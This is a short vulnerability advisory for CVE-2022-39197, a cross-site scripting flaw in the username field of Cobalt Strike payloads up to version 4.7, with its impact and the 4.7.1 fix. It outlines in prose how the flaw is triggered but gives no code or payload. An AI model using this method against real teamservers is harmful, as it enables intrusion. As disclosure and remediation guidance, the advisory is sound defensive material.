CVE-2022-39197
Overview
This vulnerability is a Cross Site Scripting (XSS) flaw rooted in improper sanitization of user-controllable input within the username field of Cobalt Strike payloads. The affected component is the HelpSystems Cobalt Strike teamserver up to version 4.7, where the application fails to correctly validate or encode HTML content in the username parameter, allowing injection of malicious script code.
Vulnerability Description
An XSS (Cross Site Scripting) vulnerability was found in HelpSystems Cobalt Strike through 4.7 that allowed a remote attacker to execute HTML on the Cobalt Strike teamserver. To exploit the vulnerability, one must first inspect a Cobalt Strike payload, and then modify the username field in the payload (or create a new payload with the extracted information and then modify that username field to be malformed).
Impact
An unauthenticated remote attacker can execute arbitrary HTML or script code within the context of the Cobalt Strike teamserver web interface by exploiting this XSS flaw. This can lead to theft of session tokens, manipulation of the user interface, or execution of further attacks via the victim’s browser. The prerequisite is the ability to submit or modify a Cobalt Strike payload to include the malicious username field. This compromises the confidentiality and integrity of the teamserver environment and may facilitate further exploitation or lateral movement within a compromised network.
Solution
HelpSystems released an out-of-band update addressing this issue in Cobalt Strike version 4.7.1. Users should upgrade to version 4.7.1 or later as detailed in the vendor’s advisory at https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/. This update includes proper input validation and encoding to mitigate the XSS vulnerability. Administrators are advised to follow the vendor’s patch instructions precisely to ensure complete remediation.
